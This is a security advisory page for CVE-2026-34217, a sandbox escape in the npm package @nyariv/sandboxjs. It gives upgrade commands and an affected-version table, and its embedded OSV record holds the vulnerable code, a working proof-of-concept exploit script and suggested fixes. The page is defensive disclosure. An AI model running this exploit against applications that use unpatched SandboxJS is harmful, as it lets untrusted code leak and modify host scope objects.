CVE-2026-34217: SandboxJS Sandbox Escape Vulnerability
MODERATECVE-2026-34217 is a MODERATE sandbox escape vulnerability (CWE-668: Exposure of Resource to Wrong Sphere) affecting SandboxJS libraries in the npm ecosystem. The issue involves sandbox escape via prop object leak in new handler. Remediation is available by upgrading affected packages to version 0.8.36.
CVE-2026-34217 at a Glance
How to Fix CVE-2026-34217
To remediate this vulnerability, upgrade all affected SandboxJS dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install @nyariv/sandboxjs@0.8.36
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls @nyariv/sandboxjs
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-34217, inspect your project dependencies using npm:
npm ls @nyariv/sandboxjs
Analyze the terminal output to locate any version of SandboxJS in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.8.36), your application is affected.
Note: The npm ls @nyariv/sandboxjs command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-668: Exposure of Resource to Wrong Sphere, where the product exposes a resource to the wrong control sphere, providing unintended actors with inappropriate access to the resource. In SandboxJS, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-34217 Affected SandboxJS Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
@nyariv/sandboxjs
|
npm |
< 0.8.36
|
0.8.36
|
References
Frequently Asked Questions
What is CVE-2026-34217?
Which SandboxJS versions are affected?
What version fixes CVE-2026-34217?
Is @nyariv/sandboxjs affected?
What CWE is associated with CVE-2026-34217?
How can I check npm dependencies for CVE-2026-34217?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-hg73-4w7g-q96w",
"modified" : "2026-04-06T23:18:33Z",
"published" : "2026-04-03T21:45:38Z",
"aliases" : [ "CVE-2026-34217" ],
"summary" : "SandboxJS: Sandbox Escape via Prop Object Leak in New Handler",
"details" : "## Description\n\nA scope modification vulnerability exists in `@nyariv/sandboxjs` version 0.8.35 and below. The vulnerability allows untrusted sandboxed code to leak internal interpreter objects through the `new` operator, exposing sandbox scope objects in the scope hierarchy to untrusted code; an unexpected and undesired exploit. While this could allow modifying scopes inside the sandbox, code evaluation remains sandboxed and prototypes remain protected throughout the execution.\n\n## Vulnerable Code Location\n\n### Primary: The `New` Operator Handler\n\n**File**: `src/executor.ts`, lines 1275–1280\n\n```typescript\naddOps<new (...args: unknown[]) => unknown, unknown[]>(\n LispType.New,\n ({ done, a, b, context }) => {\n if (!context.ctx.globalsWhitelist.has(a) && !context.ctx.sandboxedFunctions.has(a)) {\n throw new SandboxAccessError(`Object construction not allowed: ${a.constructor.name}`);\n }\n done(undefined, new a(...b)); // ← b is NOT sanitized, return is NOT sanitized\n },\n);\n```\n\nThis handler has **two missing sanitization steps**:\n\n1. **Arguments (`b`) are not passed through `valueOrProp()`** — Constructor arguments contain raw `Prop` objects (internal interpreter wrappers) instead of extracted values.\n\n2. **Return value is not passed through `getGlobalProp()` or `sanitizeArray()`** — The constructed object is returned directly to the execution tree without any sanitization.\n\n### Comparison: The `Call` Handler (Correctly Implemented)\n\n**File**: `src/executor.ts`, lines 493–605\n\n```typescript\naddOps<unknown, Lisp[], any>(LispType.Call, ({ done, a, b, obj, context }) => {\n // ...\n const vals = b\n .map((item) => {\n if (item instanceof SpreadArray) {\n return [...item.item];\n } else {\n return [item];\n }\n })\n .flat()\n .map((item) => valueOrProp(item, context)); // ← Arguments ARE sanitized\n // ...\n let ret = evl ? evl(obj.context[obj.prop], ...vals) : (obj.context[obj.prop](...vals));\n ret = getGlobalProp(ret, context) || ret; // ← Return IS sanitized\n sanitizeArray(ret, context); // ← Return IS sanitized\n done(undefined, ret);\n});\n```\n\nThe `Call` handler correctly sanitizes both arguments (via `valueOrProp`) and return values (via `getGlobalProp` and `sanitizeArray`). The `New` handler does neither.\n\n---\n\n## Why This Is Vulnerable\n\n### Step 1: What is a Prop Object?\n\nThe sandbox interpreter wraps every value access in a `Prop` object (defined at `src/utils.ts`, lines 565–582). A `Prop` has:\n\n```typescript\nclass Prop {\n context: any; // The object the property belongs to\n prop: PropertyKey; // The property name\n isConst: boolean;\n isGlobal: boolean;\n isVariable: boolean;\n}\n```\n\nWhen sandboxed code accesses a variable like `isNaN`, the interpreter creates `Prop(scope.allVars, 'isNaN')`. The `context` field is a direct reference to the scope's variable storage object.\n\n### Step 2: What is in `scope.allVars`?\n\nAt the global scope level, `scope.allVars` is the same object as `options.globals` — the SAFE_GLOBALS object containing:\n\n```javascript\n{\n globalThis: <real globalThis>,\n Function: <real Function constructor>,\n eval: <real eval function>,\n console: { log: console.log, ... },\n Array, Object, Map, Set, Promise, Date, Error, RegExp,\n isNaN, parseInt, parseFloat, ...\n}\n```\n\nThese are the **real** host JavaScript objects. The sandbox normally protects them by intercepting reads through the Prop handler and replacing dangerous ones via the evals Map.\n\n### Step 3: How the Prop Leaks Through `new`\n\nWhen sandboxed code executes `new Constructor(someVariable)`:\n\n1. The interpreter evaluates `someVariable` — this produces a `Prop` object: `Prop(scope.allVars, 'someVariable')`\n2. The `New` handler receives this `Prop` as-is in the `b` array (no `valueOrProp()` call)\n3. `new Constructor(...[Prop])` passes the raw `Prop` object to the constructor function\n4. Inside the constructor, the `Prop` is received as a named parameter\n5. The constructor reads `arg.context` — this is the raw `scope.allVars` object containing all real globals\n6. The constructor stores this reference: `this.scope = arg.context`\n7. The constructed object is returned without sanitization\n\n## Proof of Concept\n\n### Step-by-Step Reproduction (Terminal)\n\n#### Step 1: Create a new directory and initialize\n\n```bash\nmkdir sandboxjs-poc\ncd sandboxjs-poc\nnpm init -y\n```\n\n#### Step 2: Set module type to ESM\n\n```bash\nnode -e \"const p=require('./package.json');p.type='module';require('fs').writeFileSync('package.json',JSON.stringify(p,null,2))\"\n```\n\n#### Step 3: Install the vulnerable package\n\n```bash\nnpm install @nyariv/sandboxjs@0.8.35\n```\n\n#### Step 4: Create the minimal exploit\n\n```bash\ncat > exploit.mjs << 'EOF'\nimport pkg from '@nyariv/sandboxjs';\nconst Sandbox = pkg.default || pkg;\nconst sandbox = new Sandbox();\nconst {scope} = sandbox.compile(`function E(a){this.scope=a.context}return new E(isNaN)`)({}).run();\nconsole.log(scope);\nEOF\n```\n\n#### Step 5: Run it\n\n```bash\nnode exploit.mjs\n```\n\n## Impact\n\nAn attacker who can control code executed inside the sandbox can modify scope variables above its current available scope\n\nThe attack requires **no authentication**, **no user interaction**, and works with **default sandbox configuration**. The only requirement is that the host application reads the return value from `sandbox.compile(code)({}).run()`, which is the standard and documented usage pattern.\n\n---\n\n## Suggested Remediation\n\n### Fix 1: Sanitize New Handler Arguments (Critical)\n\nAdd `valueOrProp()` to constructor arguments, matching the Call handler's behavior:\n\n```typescript\n// src/executor.ts line 1275-1280\naddOps<new (...args: unknown[]) => unknown, unknown[]>(\n LispType.New,\n ({ done, a, b, context }) => {\n if (!context.ctx.globalsWhitelist.has(a) && !context.ctx.sandboxedFunctions.has(a)) {\n throw new SandboxAccessError(`Object construction not allowed: ${a.constructor.name}`);\n }\n const sanitizedArgs = b.map((item) => valueOrProp(item, context));\n const result = new a(...sanitizedArgs);\n const sanitized = getGlobalProp(result, context) || result;\n sanitizeArray(sanitized, context);\n done(undefined, sanitized);\n },\n);\n```\n\n### Fix 2: Sanitize Sandbox Return Values (Defense in Depth)\n\nAdd deep sanitization in `Sandbox.ts` to strip internal references from any value returned to the host, regardless of how it was produced.\n\n### Fix 3: Freeze the Globals Object (Defense in Depth)\n\nFreeze or seal `options.globals` and `scope.allVars` after construction to prevent mutation via the Prop leak:\n\n```typescript\nObject.freeze(options.globals);\n```",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "@nyariv/sandboxjs"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.8.36"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 0.8.35"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/nyariv/SandboxJS/security/advisories/GHSA-hg73-4w7g-q96w"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-34217"
}, {
"type" : "WEB",
"url" : "https://github.com/nyariv/SandboxJS/commit/abc02f657279e51a4aaad2bc8f99f3e37a01b287"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/nyariv/SandboxJS"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-668" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-04-03T21:45:38Z",
"nvd_published_at" : "2026-04-06T16:16:34Z"
}
}